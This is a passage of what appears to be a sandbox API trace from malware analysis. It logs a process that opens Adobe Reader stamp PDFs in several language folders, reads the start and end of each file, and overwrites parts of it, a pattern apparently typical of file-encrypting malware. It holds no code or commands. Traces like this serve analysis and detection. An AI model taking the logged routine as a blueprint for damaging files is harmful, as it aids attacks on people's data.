lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.993] CloseHandle (hObject=0x184) returned 1 [0031.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cat\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0031.995] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.995] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xc084 [0031.995] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0031.995] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0031.995] ReleaseMutex (hMutex=0x128) returned 1 [0031.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0031.995] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0031.995] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0031.997] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xb084 [0031.997] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0031.998] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xb084 [0031.998] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0031.999] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0031.999] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0031.999] CloseHandle (hObject=0x184) returned 1 [0032.000] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHT\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\cht\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.000] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.000] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x1182b [0032.000] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.000] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.000] ReleaseMutex (hMutex=0x128) returned 1 [0032.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6326c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.000] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.002] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1082b [0032.002] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.003] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x1082b [0032.003] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.003] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.003] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.004] CloseHandle (hObject=0x184) returned 1 [0032.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DAN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\dan\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.005] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.005] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x18757 [0032.005] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.005] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.005] ReleaseMutex (hMutex=0x128) returned 1 [0032.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.005] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e786cc, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0032.005] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.007] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x17757 [0032.007] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.008] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x17757 [0032.008] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.009] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.009] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.009] CloseHandle (hObject=0x184) returned 1 [0032.010] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\euq\\dynamic.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.012] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.012] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xcdd8 [0032.012] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.012] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.012] ReleaseMutex (hMutex=0x128) returned 1 [0032.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0032.012] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Dynamic.pdf", cchWideChar=11, lpMultiByteStr=0x1e6326c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Dynamic.pdf", lpUsedDefaultChar=0x0) returned 11 [0032.012] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.014] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xbdd8 [0032.014] ReadFile (in: hFile=0x184, lpBuffer=0x2512ca8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.015] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xbdd8 [0032.015] WriteFile (in: hFile=0x184, lpBuffer=0x2512ca8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2512ca8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.016] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.016] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.016] CloseHandle (hObject=0x184) returned 1 [0032.017] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv\\faces.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.017] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.018] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x80f5 [0032.018] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.018] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.018] ReleaseMutex (hMutex=0x128) returned 1 [0032.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0032.018] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Faces.pdf", cchWideChar=9, lpMultiByteStr=0x1e631ec, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Faces.pdf", lpUsedDefaultChar=0x0) returned 9 [0032.018] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.151] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x70f5 [0032.151] ReadFile (in: hFile=0x184, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.153] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x70f5 [0032.156] WriteFile (in: hFile=0x184, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.161] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.161] WriteFile (in: hFile=0x184, lpBuffer=0x1decf48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1decf48*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.162] CloseHandle (hObject=0x184) returned 1 [0032.163] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HUN\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hun\\standardbusiness.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.164] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.164] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x17b14 [0032.164] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.164] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.164] ReleaseMutex (hMutex=0x128) returned 1 [0032.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0032.164] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="StandardBusiness.pdf", cchWideChar=20, lpMultiByteStr=0x1e78974, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="StandardBusiness.pdf", lpUsedDefaultChar=0x0) returned 20 [0032.164] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.166] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x16b14 [0032.166] ReadFile (in: hFile=0x184, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.167] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0x16b14 [0032.168] WriteFile (in: hFile=0x184, lpBuffer=0x1df0f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0f48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.168] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.168] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.168] CloseHandle (hObject=0x184) returned 1 [0032.170] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\KOR\\SignHere.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\kor\\signhere.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.170] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.170] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xd074 [0032.170] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.170] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.170] ReleaseMutex (hMutex=0x128) returned 1 [0032.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.170] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SignHere.pdf", cchWideChar=12, lpMultiByteStr=0x1e6316c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SignHere.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.170] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c3da8*, lpNumberOfBytesRead=0x2b0f278*=0x4000, lpOverlapped=0x0) returned 1 [0032.173] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc074 [0032.174] ReadFile (in: hFile=0x184, lpBuffer=0x1d84048, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: lpBuffer=0x1d84048*, lpNumberOfBytesRead=0x2b0f278*=0x1000, lpOverlapped=0x0) returned 1 [0032.174] SetFilePointer (in: hFile=0x184, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2b0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f2e8*=0) returned 0xc074 [0032.175] WriteFile (in: hFile=0x184, lpBuffer=0x1df0f48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1df0f48*, lpNumberOfBytesWritten=0x2b0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0032.175] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f2bc*=0) returned 0x0 [0032.175] WriteFile (in: hFile=0x184, lpBuffer=0x1de8de8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2b0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de8de8*, lpNumberOfBytesWritten=0x2b0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0032.175] CloseHandle (hObject=0x184) returned 1 [0032.178] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\POL\\Pointers.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\pol\\pointers.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0032.179] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.179] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0xb731 [0032.179] SetFilePointer (in: hFile=0x184, lDistanceToMove=0, lpDistanceToMoveHigh=0x2b0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2b0f8c0*=0) returned 0x0 [0032.179] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0032.179] ReleaseMutex (hMutex=0x128) returned 1 [0032.179] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0032.180] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Pointers.pdf", cchWideChar=12, lpMultiByteStr=0x1e6302c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Pointers.pdf", lpUsedDefaultChar=0x0) returned 12 [0032.180] ReadFile (in: hFile=0x184, lpBuffer=0x25c3da8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2b0f278, lpOverlapped=0x0 | out: 